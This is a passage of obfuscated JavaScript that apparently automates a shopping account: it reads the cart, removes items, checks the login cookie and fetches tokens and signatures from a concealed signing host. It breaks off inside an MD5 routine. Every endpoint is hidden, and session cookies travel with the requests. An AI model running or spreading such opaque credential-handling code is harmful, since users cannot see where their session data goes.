_0x478ee4[_0x5108('‮19c')](_0x5b40bd);}};if($[_0x5108('‫41')]()&&process[_0x5108('‫87')][_0x5108('‫19d')]){if(_0x478ee4[_0x5108('‫19e')](_0x478ee4[_0x5108('‫19f')],_0x478ee4[_0x5108('‫19f')])){if(process[_0x5108('‫87')][_0x5108('‮88')]){if(_0x478ee4[_0x5108('‮1a0')](_0x478ee4[_0x5108('‮1a1')],_0x478ee4[_0x5108('‫1a2')])){$[_0x5108('‫86')]=process[_0x5108('‫87')][_0x5108('‮88')][_0x5108('‮46')]('@');}else{_0x57426d[_0x5108('‮1a3')](_0xa6df0d);}}}else{$[_0x5108('‫28')](error);}}_0x478ee4[_0x5108('‫1a4')](_0xa6df0d);});}function getCart_xh(){var _0x2a9fd1={'TaolL':function(_0x1385de,_0x7bbd73){return _0x1385de(_0x7bbd73);},'EaeIR':function(_0x1ccc11,_0x1a45c9){return _0x1ccc11===_0x1a45c9;},'BQypc':_0x5108('‫1a5'),'EBnYN':_0x5108('‫1a6'),'ADEkJ':_0x5108('‫1a7'),'GQixE':function(_0x4704d3,_0x5cf7be){return _0x4704d3(_0x5cf7be);},'EDRot':function(_0x24b380,_0x14828b,_0x357409,_0x1adc21){return _0x24b380(_0x14828b,_0x357409,_0x1adc21);},'Wdezs':_0x5108('‮1a8'),'OBOCx':_0x5108('‫1a9'),'aZjZT':_0x5108('‫1aa'),'NFFSQ':function(_0x1a3533,_0x5545d4){return _0x1a3533!==_0x5545d4;},'YfYNq':_0x5108('‮1ab'),'eWBLI':function(_0xf03445,_0x142b22){return _0xf03445*_0x142b22;},'ogaBu':function(_0x16dd09,_0x411081){return _0x16dd09+_0x411081;},'xjnXb':_0x5108('‮1ac'),'SVhSV':_0x5108('‫1ad'),'ZLHLs':_0x5108('‫1ae'),'PkUsS':_0x5108('‫1af')};console[_0x5108('‫28')](_0x2a9fd1[_0x5108('‮1b0')]);return new Promise(_0x428381=>{var _0x48860f={'SNnKp':function(_0x5a517a,_0x2594d1){return _0x2a9fd1[_0x5108('‫1b1')](_0x5a517a,_0x2594d1);},'AAItp':function(_0x580904,_0x20f6f4){return _0x2a9fd1[_0x5108('‮1b2')](_0x580904,_0x20f6f4);},'VhSiT':function(_0x1a2117,_0x26707f){return _0x2a9fd1[_0x5108('‮1b2')](_0x1a2117,_0x26707f);}};if(_0x2a9fd1[_0x5108('‫1b3')](_0x2a9fd1[_0x5108('‮1b4')],_0x2a9fd1[_0x5108('‮1b4')])){const _0x328101={'url':_0x2a9fd1[_0x5108('‮1b5')],'headers':{'Cookie':cookie,'User-Agent':_0x2a9fd1[_0x5108('‮1b6')]}};$[_0x5108('‮172')](_0x328101,async(_0x3fb5d0,_0x564fdd,_0x545096)=>{var _0x23c73b={'zBbHj':function(_0x1fd268,_0x1360da){return _0x2a9fd1[_0x5108('‫1b7')](_0x1fd268,_0x1360da);}};try{if(_0x2a9fd1[_0x5108('‫1b3')](_0x2a9fd1[_0x5108('‫1b8')],_0x2a9fd1[_0x5108('‮1b9')])){Host=HostArr[Math[_0x5108('‮11b')](_0x48860f[_0x5108('‫1ba')](Math[_0x5108('‫80')](),HostArr[_0x5108('‮2e')]))];}else{var _0x1ad18c=_0x2a9fd1[_0x5108('‮1bb')][_0x5108('‮46')]('|'),_0x3ab735=0x0;while(!![]){switch(_0x1ad18c[_0x3ab735++]){case'0':console[_0x5108('‫28')](_0x5108('‮1bc')+$[_0x5108('‫6f')]+'\x20条');continue;case'1':$[_0x5108('‫6f')]=_0x545096[_0x5108('‫1bd')][_0x5108('‮1be')];continue;case'2':venderCart=_0x545096[_0x5108('‫1bd')][_0x5108('‫1bf')];continue;case'3':_0x545096=_0x2a9fd1[_0x5108('‮1c0')](strToJson,_0x2a9fd1[_0x5108('‮1c1')](getSubstr,_0x545096,_0x2a9fd1[_0x5108('‫1c2')],_0x2a9fd1[_0x5108('‮1c3')])[_0x5108('‫cd')]('\x20;',''));continue;case'4':$[_0x5108('‮1c4')]=_0x545096[_0x5108('‮1c4')];continue;case'5':$[_0x5108('‮1c5')]=_0x545096[_0x5108('‮1c5')];continue;case'6':postBody=_0x2a9fd1[_0x5108('‮1c6')];continue;}break;}}}catch(_0x548a84){$[_0x5108('‫105')](_0x548a84,_0x564fdd);}finally{if(_0x2a9fd1[_0x5108('‫1c7')](_0x2a9fd1[_0x5108('‮1c8')],_0x2a9fd1[_0x5108('‮1c8')])){_0x23c73b[_0x5108('‫1c9')](_0x428381,_0x545096);}else{_0x2a9fd1[_0x5108('‮1c0')](_0x428381,_0x545096);}}});}else{cookie+=_0x48860f[_0x5108('‫1ca')](_0x48860f[_0x5108('‫1cb')](_0x48860f[_0x5108('‫1cb')](vo,'='),lz_cookie[vo]),';');}});}function cartFilter_xh(_0x4d3d59){var _0x28f90e={'XjiMj':function(_0x103d65,_0xf25bd3){return _0x103d65===_0xf25bd3;},'EcxSn':_0x5108('‫2'),'IzoMe':_0x5108('‮1cc'),'izcbl':function(_0xdf78c2,_0x45530d){return _0xdf78c2===_0x45530d;},'hlgAu':_0x5108('‫1cd'),'JCUXP':_0x5108('‫1ce'),'FpIpL':function(_0x394e19,_0x4ea3cf){return _0x394e19===_0x4ea3cf;},'FTKdC':function(_0x4e7538,_0x311084){return _0x4e7538!==_0x311084;},'tEzYw':_0x5108('‮1cf'),'ZFrYr':function(_0x46e024,_0x557a43){return _0x46e024===_0x557a43;},'USFcI':function(_0x2f16fd,_0x3e2fbb){return _0x2f16fd!==_0x3e2fbb;},'pHrJT':_0x5108('‮1d0'),'Ojlvo':_0x5108('‮1d1'),'XZpbu':function(_0x4a300f,_0x1f64e6){return _0x4a300f===_0x1f64e6;},'GJntQ':_0x5108('‫1d2'),'gQlgQ':_0x5108('‮1d3'),'sxvHK':function(_0x3665ad,_0x1fd2c0){return _0x3665ad!==_0x1fd2c0;}};console[_0x5108('‫28')](_0x28f90e[_0x5108('‫1d4')]);let _0x5f2000;$[_0x5108('‮1d5')]=0x0;for(let _0x4f4da7 of _0x4d3d59){if(_0x28f90e[_0x5108('‫1d6')](_0x28f90e[_0x5108('‮1d7')],_0x28f90e[_0x5108('‮1d8')])){$[_0x5108('‫28')](data[_0x5108('‮115')]);}else{if(_0x28f90e[_0x5108('‫1d9')]($[_0x5108('‮1d5')],removeSize))break;for(let _0x5c89de of _0x4f4da7[_0x5108('‮1da')]){if(_0x28f90e[_0x5108('‫1db')](_0x28f90e[_0x5108('‮1dc')],_0x28f90e[_0x5108('‮1dc')])){$[_0x5108('‫105')](err);}else{if(_0x28f90e[_0x5108('‫1dd')]($[_0x5108('‮1d5')],removeSize))break;_0x5f2000=_0x28f90e[_0x5108('‫1de')](typeof _0x5c89de[_0x5108('‫1df')][_0x5108('‫1e0')],_0x28f90e[_0x5108('‮1e1')])?_0x5c89de[_0x5108('‫1df')][_0x5108('‫1e0')][_0x5108('‮1e2')]:'';for(let _0x40e463 of _0x5c89de[_0x5108('‫1df')][_0x5108('‮1e3')]){if(_0x28f90e[_0x5108('‫1de')](_0x28f90e[_0x5108('‮1e4')],_0x28f90e[_0x5108('‮1e4')])){uuid=v[_0x5108('‮84')](0x24);}else{if(_0x28f90e[_0x5108('‫1dd')]($[_0x5108('‮1d5')],removeSize))break;let _0x2ca687=_0x40e463[_0x5108('‮1e5')][_0x5108('‮23')];$[_0x5108('‮1e6')]=![];$[_0x5108('‫1e7')]=!![];for(let _0x57a5f4 of $[_0x5108('‫86')]){if(_0x28f90e[_0x5108('‮1e8')](_0x28f90e[_0x5108('‮1e9')],_0x28f90e[_0x5108('‮1ea')])){if(data){data=JSON[_0x5108('‮62')](data);if(_0x28f90e[_0x5108('‫1eb')](data[_0x5108('‫117')],'0')){$[_0x5108('‫ad')]=data[_0x5108('‫ad')];}}else{$[_0x5108('‫28')](_0x28f90e[_0x5108('‫1ec')]);}}else{if(_0x28f90e[_0x5108('‮1ed')](_0x2ca687[_0x5108('‮39')](_0x57a5f4),-0x1)){$[_0x5108('‮6e')]+=0x1;$[_0x5108('‫1e7')]=![];$[_0x5108('‫1ee')]=_0x57a5f4;break;}else $[_0x5108('‫1e7')]=!![];}}if($[_0x5108('‫1e7')]){let _0x5d2909=_0x40e463[_0x5108('‫1ef')];let _0x4b51e3=_0x40e463[_0x5108('‮1e5')]['id'];if(_0x28f90e[_0x5108('‮1e8')](_0x5f2000,''))postBody+=_0x4b51e3+_0x5108('‮1f0')+_0x4b51e3+_0x5108('‮1f1')+_0x5d2909+_0x5108('‫1f2');else postBody+=_0x4b51e3+_0x5108('‮1f0')+_0x4b51e3+_0x5108('‮1f3')+_0x5f2000+_0x5108('‮1f4')+_0x5d2909+_0x5108('‫1f2');$[_0x5108('‮1d5')]+=0x1;}else{console[_0x5108('‫28')]('\x0a'+_0x2ca687);console[_0x5108('‫28')](_0x5108('‮1f5')+$[_0x5108('‫1ee')]);$[_0x5108('‮1e6')]=!![];}}}}}}}postBody+=_0x5108('‮1f6')+$[_0x5108('‮1c4')]+_0x5108('‫1f7')+$[_0x5108('‮1c5')]+_0x5108('‮1f8');}function removeCart(){var _0x9364d0={'qmFVa':_0x5108('‮21'),'EiSWs':function(_0x28f5ed,_0x538ba3){return _0x28f5ed===_0x538ba3;},'BYDsc':_0x5108('‮1f9'),'FhLzE':function(_0x327842,_0xe3c05e){return _0x327842<_0xe3c05e;},'YgHUt':_0x5108('‮127'),'xjpou':function(_0x23723d,_0x374fbd){return _0x23723d===_0x374fbd;},'IIxDB':_0x5108('‫1fa'),'TVSGL':function(_0x181c4c,_0x5dc462){return _0x181c4c(_0x5dc462);},'CVozZ':function(_0x462787,_0x18291d){return _0x462787===_0x18291d;},'gdfRF':_0x5108('‮1fb'),'rJafC':_0x5108('‮1fc'),'zWwUB':_0x5108('‫1ae'),'OmqOB':_0x5108('‮1fd'),'xtysT':_0x5108('‮1fe')};console[_0x5108('‫28')](_0x9364d0[_0x5108('‫1ff')]);return new Promise(_0x40e9e7=>{var _0x594fc5={'DJuZf':function(_0x317a21,_0x37c553){return _0x9364d0[_0x5108('‫200')](_0x317a21,_0x37c553);}};if(_0x9364d0[_0x5108('‫201')](_0x9364d0[_0x5108('‮202')],_0x9364d0[_0x5108('‮202')])){const _0x2ce704={'url':_0x9364d0[_0x5108('‫203')],'body':postBody,'headers':{'Cookie':cookie,'User-Agent':_0x9364d0[_0x5108('‮204')],'referer':_0x9364d0[_0x5108('‮205')],'origin':_0x9364d0[_0x5108('‮205')]}};$[_0x5108('‫f2')](_0x2ce704,async(_0x427107,_0x28c343,_0x3b9d63)=>{var _0x45699c={'kGEAe':_0x9364d0[_0x5108('‮206')]};if(_0x9364d0[_0x5108('‮207')](_0x9364d0[_0x5108('‮208')],_0x9364d0[_0x5108('‮208')])){try{_0x3b9d63=JSON[_0x5108('‮62')](_0x3b9d63);$[_0x5108('‫160')]=_0x3b9d63[_0x5108('‮209')][_0x5108('‫20a')];if(_0x9364d0[_0x5108('‮20b')]($[_0x5108('‫160')],$[_0x5108('‫6f')])){console[_0x5108('‫28')](_0x5108('‮15f')+$[_0x5108('‫160')]+_0x5108('‫161'));$[_0x5108('‫6f')]=$[_0x5108('‫160')];}else{console[_0x5108('‫28')](_0x9364d0[_0x5108('‮20c')]);console[_0x5108('‫28')](_0x3b9d63[_0x5108('‫15b')]);isRemoveAll=![];}}catch(_0x28644a){if(_0x9364d0[_0x5108('‮20d')](_0x9364d0[_0x5108('‮20e')],_0x9364d0[_0x5108('‮20e')])){$[_0x5108('‫105')](_0x28644a,_0x28c343);}else{$[_0x5108('‫22')]($[_0x5108('‮23')],_0x45699c[_0x5108('‫20f')],message);}}finally{_0x9364d0[_0x5108('‫200')](_0x40e9e7,_0x3b9d63);}}else{console[_0x5108('‫28')](''+JSON[_0x5108('‮73')](_0x427107));console[_0x5108('‫28')]($[_0x5108('‮23')]+_0x5108('‮74'));}});}else{_0x594fc5[_0x5108('‮210')](_0x40e9e7,data);}});}function getSubstr(_0x7de1f3,_0x2eb535,_0x3c9ae2){var _0xe59e5b={'SBtJy':function(_0xa0e1a3,_0x5145cf){return _0xa0e1a3<_0x5145cf;},'XhDGK':function(_0x52261f,_0x3fa9d6){return _0x52261f+_0x3fa9d6;}};let _0x2f1482=_0x7de1f3[_0x5108('‮39')](_0x2eb535);let _0x2bbce4=_0x7de1f3[_0x5108('‮39')](_0x3c9ae2,_0x2f1482);if(_0xe59e5b[_0x5108('‫211')](_0x2f1482,0x0)||_0xe59e5b[_0x5108('‫211')](_0x2bbce4,_0x2f1482))return'';return _0x7de1f3[_0x5108('‫f0')](_0xe59e5b[_0x5108('‮212')](_0x2f1482,_0x2eb535[_0x5108('‮2e')]),_0x2bbce4);}function getUUID(_0x3e5544=_0x5108('‫17'),_0x2ca0e7=0x0){var _0xada830={'nDIKA':function(_0x34d2c3,_0x29c424){return _0x34d2c3===_0x29c424;},'Mesyb':_0x5108('‫213'),'LfTVG':function(_0x4dd5bf,_0x4cf241){return _0x4dd5bf|_0x4cf241;},'GdMpE':function(_0x4b765e,_0x399eae){return _0x4b765e*_0x399eae;},'mBxFg':function(_0x31616d,_0x35129f){return _0x31616d==_0x35129f;},'SUWYj':function(_0xd58879,_0x666a9){return _0xd58879&_0x666a9;}};return _0x3e5544[_0x5108('‫cd')](/[xy]/g,function(_0xe0720f){if(_0xada830[_0x5108('‮214')](_0xada830[_0x5108('‮215')],_0xada830[_0x5108('‮215')])){var _0x1b436d=_0xada830[_0x5108('‫216')](_0xada830[_0x5108('‫217')](Math[_0x5108('‫80')](),0x10),0x0),_0x211811=_0xada830[_0x5108('‫218')](_0xe0720f,'x')?_0x1b436d:_0xada830[_0x5108('‫216')](_0xada830[_0x5108('‮219')](_0x1b436d,0x3),0x8);if(_0x2ca0e7){uuid=_0x211811[_0x5108('‮84')](0x24)[_0x5108('‫85')]();}else{uuid=_0x211811[_0x5108('‮84')](0x24);}return uuid;}else{$[_0x5108('‫36')]=![];return;}});}function checkCookie(){var _0x3caf60={'bfqIV':_0x5108('‫21a'),'Olgtp':function(_0x4021e7,_0x5f0253){return _0x4021e7(_0x5f0253);},'PsQch':function(_0x2c82f0,_0x5f0422,_0x1a112c,_0x3d4e03){return _0x2c82f0(_0x5f0422,_0x1a112c,_0x3d4e03);},'EWSJr':_0x5108('‮1a8'),'NxKrd':_0x5108('‫1a9'),'yhEmQ':_0x5108('‫1aa'),'eCGfy':function(_0x3cd28a,_0x1b4aa8){return _0x3cd28a+_0x1b4aa8;},'lvJXg':function(_0x345711){return _0x345711();},'NHJzS':function(_0x102bff,_0x1e2495){return _0x102bff===_0x1e2495;},'QLZVr':_0x5108('‮21b'),'XNkTY':_0x5108('‮3'),'AJJcY':function(_0x56b4d0,_0x31d395){return _0x56b4d0!==_0x31d395;},'gBUBm':_0x5108('‮21c'),'sSmHS':_0x5108('‫4'),'xDCnC':_0x5108('‮21d'),'uXquL':_0x5108('‫21e'),'qvUnt':_0x5108('‫2'),'Ztufn':_0x5108('‫21f'),'xChSG':_0x5108('‫220'),'eXGgk':_0x5108('‮221'),'yYlBP':_0x5108('‫c'),'EKomU':_0x5108('‫222'),'mlPnB':_0x5108('‮8'),'nxQnO':_0x5108('‫223'),'jOGFy':_0x5108('‫9')};const _0x24173a={'url':_0x3caf60[_0x5108('‮224')],'headers':{'Host':_0x3caf60[_0x5108('‮225')],'Accept':_0x3caf60[_0x5108('‮226')],'Connection':_0x3caf60[_0x5108('‮227')],'Cookie':cookie,'User-Agent':_0x3caf60[_0x5108('‮228')],'Accept-Language':_0x3caf60[_0x5108('‮229')],'Referer':_0x3caf60[_0x5108('‫22a')],'Accept-Encoding':_0x3caf60[_0x5108('‮22b')]}};return new Promise(_0x221a95=>{var _0x4b8bb4={'zIKke':_0x3caf60[_0x5108('‫22c')],'yzPVg':function(_0x31a4c6,_0x483bfe){return _0x3caf60[_0x5108('‮22d')](_0x31a4c6,_0x483bfe);},'gHIVn':function(_0x2006a6,_0x102d7d,_0x62b524,_0x1844a3){return _0x3caf60[_0x5108('‫22e')](_0x2006a6,_0x102d7d,_0x62b524,_0x1844a3);},'fnfsf':_0x3caf60[_0x5108('‫22f')],'cyecT':_0x3caf60[_0x5108('‫230')],'FMOvR':_0x3caf60[_0x5108('‫231')],'BqDOo':function(_0x1cb96e,_0x144c69){return _0x3caf60[_0x5108('‮232')](_0x1cb96e,_0x144c69);},'qzhNq':function(_0x3529aa){return _0x3caf60[_0x5108('‮233')](_0x3529aa);},'cxjxg':function(_0x458000,_0x5d6be1){return _0x3caf60[_0x5108('‮234')](_0x458000,_0x5d6be1);},'fdvaL':_0x3caf60[_0x5108('‫235')],'dKbwi':_0x3caf60[_0x5108('‮236')],'MHLBS':function(_0x2c32c1,_0x4847e9){return _0x3caf60[_0x5108('‫237')](_0x2c32c1,_0x4847e9);},'IBrif':_0x3caf60[_0x5108('‮238')],'NvfBh':_0x3caf60[_0x5108('‮239')],'dZiiP':function(_0x463b8b,_0x3a6020){return _0x3caf60[_0x5108('‫237')](_0x463b8b,_0x3a6020);},'mhnzc':_0x3caf60[_0x5108('‮23a')],'AKttb':_0x3caf60[_0x5108('‫23b')],'WXLmr':_0x3caf60[_0x5108('‫23c')],'cUqRo':function(_0x45092b){return _0x3caf60[_0x5108('‮233')](_0x45092b);}};$[_0x5108('‮172')](_0x24173a,(_0x3a4703,_0x35b76d,_0xebfcd4)=>{if(_0x4b8bb4[_0x5108('‮23d')](_0x4b8bb4[_0x5108('‫23e')],_0x4b8bb4[_0x5108('‫23e')])){try{if(_0x3a4703){$[_0x5108('‫105')](_0x3a4703);}else{if(_0xebfcd4){_0xebfcd4=JSON[_0x5108('‮62')](_0xebfcd4);if(_0x4b8bb4[_0x5108('‮23d')](_0xebfcd4[_0x5108('‫64')],_0x4b8bb4[_0x5108('‮23f')])){if(_0x4b8bb4[_0x5108('‮240')](_0x4b8bb4[_0x5108('‫241')],_0x4b8bb4[_0x5108('‫241')])){var _0x823a7b=_0x4b8bb4[_0x5108('‫242')][_0x5108('‮46')]('|'),_0x4fee7f=0x0;while(!![]){switch(_0x823a7b[_0x4fee7f++]){case'0':$[_0x5108('‮1c5')]=_0xebfcd4[_0x5108('‮1c5')];continue;case'1':_0xebfcd4=_0x4b8bb4[_0x5108('‫243')](strToJson,_0x4b8bb4[_0x5108('‫244')](getSubstr,_0xebfcd4,_0x4b8bb4[_0x5108('‮245')],_0x4b8bb4[_0x5108('‮246')])[_0x5108('‫cd')]('\x20;',''));continue;case'2':console[_0x5108('‫28')](_0x5108('‮1bc')+$[_0x5108('‫6f')]+'\x20条');continue;case'3':$[_0x5108('‫6f')]=_0xebfcd4[_0x5108('‫1bd')][_0x5108('‮1be')];continue;case'4':postBody=_0x4b8bb4[_0x5108('‫247')];continue;case'5':venderCart=_0xebfcd4[_0x5108('‫1bd')][_0x5108('‫1bf')];continue;case'6':$[_0x5108('‮1c4')]=_0xebfcd4[_0x5108('‮1c4')];continue;}break;}}else{$[_0x5108('‫36')]=![];return;}}if(_0x4b8bb4[_0x5108('‮23d')](_0xebfcd4[_0x5108('‫64')],'0')&&_0xebfcd4[_0x5108('‫67')][_0x5108('‮68')](_0x4b8bb4[_0x5108('‫248')])){if(_0x4b8bb4[_0x5108('‮249')](_0x4b8bb4[_0x5108('‮24a')],_0x4b8bb4[_0x5108('‫24b')])){$[_0x5108('‮37')]=_0xebfcd4[_0x5108('‫67')][_0x5108('‫4')][_0x5108('‫6a')][_0x5108('‫6b')];}else{if(_0xebfcd4[_0x5108('‫67')][_0x5108('‮23')]){message+=_0x4b8bb4[_0x5108('‫24c')](_0xebfcd4[_0x5108('‫67')][_0x5108('‮23')],'\x20');}}}}else{$[_0x5108('‫28')](_0x4b8bb4[_0x5108('‮24d')]);}}}catch(_0x1bc895){$[_0x5108('‫105')](_0x1bc895);}finally{_0x4b8bb4[_0x5108('‫24e')](_0x221a95);}}else{_0x4b8bb4[_0x5108('‫24f')](_0x221a95);}});});}async function getToken(){var _0x37f174={'CnDkK':function(_0x471c86,_0x4e8ccd){return _0x471c86===_0x4e8ccd;},'IHMDM':_0x5108('‮250'),'kGPzR':_0x5108('‫251'),'VaKRW':function(_0x5dae2b,_0x923912){return _0x5dae2b===_0x923912;},'fvfZW':_0x5108('‫2'),'HPIwW':function(_0x8b9394,_0x207c3f){return _0x8b9394!==_0x207c3f;},'zkHkk':_0x5108('‫252'),'bPZMA':_0x5108('‫253'),'OTBEJ':function(_0x53a018){return _0x53a018();},'zkxKj':function(_0x23fa0d,_0xead0d1,_0x14dfe0){return _0x23fa0d(_0xead0d1,_0x14dfe0);},'DJXQa':_0x5108('‮254'),'aaEuR':_0x5108('‫255'),'XFAmt':_0x5108('‮256'),'aEsJr':_0x5108('‫a'),'MdsJa':_0x5108('‮221'),'CdVcq':_0x5108('‫c'),'ZNTBy':_0x5108('‫257'),'CQHmz':_0x5108('‫258'),'QughV':_0x5108('‫9')};let _0x4d73df=await _0x37f174[_0x5108('‮259')](getSign,_0x37f174[_0x5108('‮25a')],{'id':'','url':_0x37f174[_0x5108('‮25b')]});let _0x452b3c={'url':_0x5108('‮25c'),'headers':{'Host':_0x37f174[_0x5108('‫25d')],'Content-Type':_0x37f174[_0x5108('‮25e')],'Accept':_0x37f174[_0x5108('‮25f')],'Connection':_0x37f174[_0x5108('‮260')],'Cookie':cookie,'User-Agent':_0x37f174[_0x5108('‮261')],'Accept-Language':_0x37f174[_0x5108('‫262')],'Accept-Encoding':_0x37f174[_0x5108('‫263')]},'body':_0x4d73df};return new Promise(_0xfec56a=>{$[_0x5108('‫f2')](_0x452b3c,(_0x507f75,_0x8ecb3d,_0x3651f1)=>{try{if(_0x37f174[_0x5108('‫264')](_0x37f174[_0x5108('‫265')],_0x37f174[_0x5108('‮266')])){$[_0x5108('‫28')](_0x507f75);}else{if(_0x507f75){$[_0x5108('‫28')](_0x507f75);}else{if(_0x3651f1){_0x3651f1=JSON[_0x5108('‮62')](_0x3651f1);if(_0x37f174[_0x5108('‫267')](_0x3651f1[_0x5108('‫117')],'0')){$[_0x5108('‫ad')]=_0x3651f1[_0x5108('‫ad')];}}else{$[_0x5108('‫28')](_0x37f174[_0x5108('‮268')]);}}}}catch(_0x16bdb2){if(_0x37f174[_0x5108('‮269')](_0x37f174[_0x5108('‮26a')],_0x37f174[_0x5108('‮26b')])){$[_0x5108('‫28')](_0x16bdb2);}else{uuid=v[_0x5108('‮84')](0x24)[_0x5108('‫85')]();}}finally{_0x37f174[_0x5108('‮26c')](_0xfec56a);}});});}function getSign(_0x39ceb3,_0x5074b5){var _0x52a507={'UJPoN':function(_0x3dbc24,_0x6aa732){return _0x3dbc24===_0x6aa732;},'JxnEG':_0x5108('‮26d'),'yCBVb':function(_0x277cfe,_0x198e2a){return _0x277cfe===_0x198e2a;},'dIoLx':_0x5108('‮26e'),'KxCkz':function(_0x33193d,_0x1e0c14){return _0x33193d(_0x1e0c14);},'CEnxz':function(_0x5cb73f){return _0x5cb73f();},'JEyYS':_0x5108('‫0'),'fkSoZ':_0x5108('‮1'),'mlIRX':function(_0x14d864,_0x2b6460){return _0x14d864+_0x2b6460;},'DwtKP':function(_0x433f11,_0x1f0611){return _0x433f11+_0x1f0611;},'EyMwL':_0x5108('‮26f'),'CRiCd':_0x5108('‮270'),'BjdyX':function(_0x4bf9fa,_0x29c896){return _0x4bf9fa===_0x29c896;},'yOUtC':_0x5108('‫271'),'tadwO':_0x5108('‫272'),'sFpKt':function(_0x3e9ac9,_0x1dd2ae){return _0x3e9ac9*_0x1dd2ae;},'rRRhG':_0x5108('‮273'),'EkbHV':function(_0x55ddf9,_0x55c5d3){return _0x55ddf9*_0x55c5d3;}};return new Promise(async _0x188f05=>{var _0x39f7d0={'EIrVr':function(_0x4ae4ef){return _0x52a507[_0x5108('‫274')](_0x4ae4ef);},'OsRlI':_0x52a507[_0x5108('‫275')],'yDrHV':_0x52a507[_0x5108('‮276')],'AwpEA':function(_0x3365f4,_0x5bbdca){return _0x52a507[_0x5108('‮277')](_0x3365f4,_0x5bbdca);},'QsKTa':function(_0xf12b74,_0x27140e){return _0x52a507[_0x5108('‮278')](_0xf12b74,_0x27140e);},'xPZnm':function(_0x76d4ab,_0x4a22df){return _0x52a507[_0x5108('‮278')](_0x76d4ab,_0x4a22df);}};let _0x208126={'functionId':_0x39ceb3,'body':JSON[_0x5108('‮73')](_0x5074b5),'activityId':_0x52a507[_0x5108('‮279')]};let _0x532375='';let _0x3d500e=[_0x52a507[_0x5108('‮27a')]];if(process[_0x5108('‫87')][_0x5108('‮27b')]){_0x532375=process[_0x5108('‫87')][_0x5108('‮27b')];}else{if(_0x52a507[_0x5108('‮27c')](_0x52a507[_0x5108('‮27d')],_0x52a507[_0x5108('‮27e')])){var _0x1a9b42={'irpHh':function(_0x29a45e){return _0x39f7d0[_0x5108('‫27f')](_0x29a45e);}};return new Promise(_0x19c6c3=>{if($[_0x5108('‫41')]()&&process[_0x5108('‫87')][_0x5108('‫19d')]){if(process[_0x5108('‫87')][_0x5108('‮88')]){$[_0x5108('‫86')]=process[_0x5108('‫87')][_0x5108('‮88')][_0x5108('‮46')]('@');}}_0x1a9b42[_0x5108('‫280')](_0x19c6c3);});}else{_0x532375=_0x3d500e[Math[_0x5108('‮11b')](_0x52a507[_0x5108('‮281')](Math[_0x5108('‫80')](),_0x3d500e[_0x5108('‮2e')]))];}}let _0xa95d13={'url':_0x5108('‫282'),'body':JSON[_0x5108('‮73')](_0x208126),'headers':{'Host':_0x532375,'User-Agent':_0x52a507[_0x5108('‫283')]},'timeout':_0x52a507[_0x5108('‮284')](0x1e,0x3e8)};$[_0x5108('‫f2')](_0xa95d13,(_0x221826,_0x58479b,_0x208126)=>{if(_0x52a507[_0x5108('‫285')](_0x52a507[_0x5108('‫286')],_0x52a507[_0x5108('‫286')])){try{if(_0x221826){if(_0x52a507[_0x5108('‫287')](_0x52a507[_0x5108('‫288')],_0x52a507[_0x5108('‫288')])){console[_0x5108('‫28')](''+JSON[_0x5108('‮73')](_0x221826));console[_0x5108('‫28')]($[_0x5108('‮23')]+_0x5108('‮74'));}else{$[_0x5108('‫105')](e,_0x58479b);}}else{}}catch(_0x5881bd){$[_0x5108('‫105')](_0x5881bd,_0x58479b);}finally{_0x52a507[_0x5108('‫289')](_0x188f05,_0x208126);}}else{cookie=originCookie+';';for(let _0x501e82 of _0x58479b[_0x39f7d0[_0x5108('‫28a')]][_0x39f7d0[_0x5108('‮28b')]]){lz_cookie[_0x501e82[_0x5108('‮46')](';')[0x0][_0x5108('‫47')](0x0,_0x501e82[_0x5108('‮46')](';')[0x0][_0x5108('‮39')]('='))]=_0x501e82[_0x5108('‮46')](';')[0x0][_0x5108('‫47')](_0x39f7d0[_0x5108('‮28c')](_0x501e82[_0x5108('‮46')](';')[0x0][_0x5108('‮39')]('='),0x1));}for(const _0x5b6c40 of Object[_0x5108('‫49')](lz_cookie)){cookie+=_0x39f7d0[_0x5108('‮28c')](_0x39f7d0[_0x5108('‮28d')](_0x39f7d0[_0x5108('‫28e')](_0x5b6c40,'='),lz_cookie[_0x5b6c40]),';');}}});});};_0xodK='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, 